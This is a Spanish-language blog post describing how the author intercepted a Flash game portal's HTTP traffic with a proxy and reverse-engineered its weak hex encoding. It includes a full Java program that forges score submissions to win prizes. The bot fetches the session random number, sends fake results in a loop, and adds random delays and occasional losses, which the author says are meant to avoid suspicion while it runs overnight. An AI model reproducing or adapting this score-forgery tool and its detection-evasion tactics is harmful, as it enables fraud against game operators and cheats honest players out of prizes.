Automatizar jugadas (Flash HTTP interception)

Ahora que está tan de moda el “mundo injection” (XSS, SQLIn…, que digo yo, siendo la solución tan simple no sé por que coño se le está dando tanta vuelta) quiero exponer un pequeño caso de intercepción http (captura de tráfico, análisis y automatización de peticiones) que no es injection, pero su filosofía es la misma.
El origen del problema: Flash, Macromierda Flash, diseñadores haciéndose pasar por programadores. Hace 6 años existía un portal de nombre loquesea.es. Era el típico portal de juegos flash, en el que te llevabas regalos si quedabas primero. Los juegos, al igual que los de hoy en día estaban desarrollados en Flash, incorporando la lógica de la aplicación y comunicándose con el servidor mediante peticiones http para trasladarle los resultados de las partidas. Esto también pasa hoy en día así que lo que cuento es aplicable a bastantes webs de juegos Flash.

En primer lugar hemos de conseguir ver cómo se comunica la aplicación flash con el servidor, y para ello, nada más sencillo que instalarnos un mini proxy capturador de tráfico en nuestro propio equipo, de forma que las peticiones http de nuestro navegador (incluidas las del flash, etc) pasan por el proxy y nos desvela su contenido. Hay varios en internet, y si no nos lo hacemos, que tampoco cuesta tanto. (también podríamos utilizar ethereal con un filtro “port 80” pero esto me gusta menos, ya que da demasiada información y solo nos interesa la capa de aplicación)

Una vez hecho esto, simulamos unas cuantas partidas y vemos todo lo que pasa cuando ganamos y cuando perdemos. Seguramente algo se envíe codificado, pero también casi seguro que será una codificación simple y fácilmente reversible, por el mero hecho de que el servidor debe interpretarla y por tanto decodificarla, y el uso de criptografía asimétrica me parece un poco heavy para un diseñador con curso CCC de programación.

Debemos detectar toda la comunicación, en el caso de loquesea.es, se hacía una primera petición para obtener un número aleatorio que se utilizaba posteriormente en todas las comunicaciones.

Solo nos queda replicar lo que hemos visto, pero favoreciendo nuestras jugadas. En mi caso utilicé un temporizador para simular tiempos reales de juego, con partidas aleatorias pero de gran tendencia ganadora. Eso evita sospechas, y se puede dejar por la noche, así pareces un “viciado” aunque realmente no estás jugando y ganas siempre.

El código en cuestión que me permitió conseguir mis regalos es:


001 /*
002 * Apu.java
003 *
004 * Created on 13 de junio de 2001, 16:35
005 */
006 import java.net.*;
007 import java.io.*;
008 /**
009 *
010 * @author GuemboyMan
011 *
012 */
013 public class Apu extends Thread{
014
015 private static int totalPtos=0;
016
017 public static void main (String[] args ) throws Exception{
018 String s;
019 int c;
020 Socket sock;
021 DataOutputStream sOut;
022 DataInputStream sIn;
023 int i,sec,userId=000000; //userId
024 String host="es.loquesea.com";
025 String rnd;
026 //Bucle principal.
027 for(i=0;i<1000;i++){
028 //delay
029 System.out.println("-------> PARTIDA JUGADA: "+i);
030 try {
031 sleep((int)((Math.random()+1) * 4000));
032 }
033 catch (InterruptedException e) {}
034 //abrir conexión
035 try {
036 // Conectar inicializando el random.
037 s=strIni(userId);
038 s=setHeader(s);
039 sock = new Socket(host, 80);
040 sOut = new DataOutputStream(sock.getOutputStream());
041 sOut.writeBytes(s);
042
043 // leemos esa entrada
044 sIn = new DataInputStream(sock.getInputStream());
045 //Conseguir el random
046 rnd="";
047 boolean detect=false;
048 while( ( c = sIn.read() ) != -1 ){
049 System.out.print( (char)c );
050 if (detect&&((char)c)!='"')rnd=rnd+(char)c;
051 if(((char)c)=='"')if(detect) detect=false;
052 else detect=true;
053 }
054 sOut.close();
055 sIn.close();
056 sock.close();
057 System.out.println("Número aleatorio: "+rnd);
058 /* Parte del programa que se dedica a conseguir
059 * puntos... altenando perdidasy ganancias...
060 */
061 s=strPuntos(userId,i,rnd);
062 s=setHeader(s);
063 sock = new Socket(host, 80);
064 sOut = new DataOutputStream(sock.getOutputStream());
065 sOut.writeBytes(s);
066 sOut.close();
067 sock.close();
068 } catch( Exception e ) {System.out.println( e ); }
069 }
070 System.out.println("------- FIN PARTIDAS");
071 }
072
073
074 private static String codificar(String s){
075 String s1="";
076 int i=0;
077 for(int k=0;k<s.length();k++){
078 i+=s.charAt(k);
079 s1=s1+Integer.toString(s.charAt(k),16);
080 }
081 return s1+"_"+i;
082 }
083
084 private static String strIni(int uid){
085 String s;
086 s="game_init=1&user_id=" + uid +"&game_id=5"; //esto devuelve el random
087 return "GET /games/ffm.php?"+codificar(s)+ " HTTP/1.0";
088 }
089
090 /* string con la cadena de puntos, depende de i
091 * ganara 2000, 3000, o perdera 1000. se simula juego real con tendencia a ganar
092 */
093 private static String strPuntos(int uid,int i,String rnd){
094 int points=2000;
095 int j=i*(int)((Math.random()*10));
096 if(((j % 11)==0)||((j % 7)==0)||(j % 5)==0)points=-1000;
097 if((j % 9)==0)points=3000;
098 totalPtos=totalPtos+points;
099 String s="new_points="+points;
100 s=s+"&user_id="+uid;
101 s=s+"&new_hs=1000&game_id=5&random_number="+rnd;
102 s=s+"&end_level=1";
103 System.out.println("Puntos obtenidos: "+points+" TOTAL: "+totalPtos);
104 return "GET /games/ffm.php?"+codificar(s)+ " HTTP/1.0";
105 }
106
107 private static String setHeader(String s){
108 String header="Accept-Language: es-MDn";
109 header=header+"Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2n";
110 header=header+"User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Win32)n";
111 return s+header;
112 }
113 }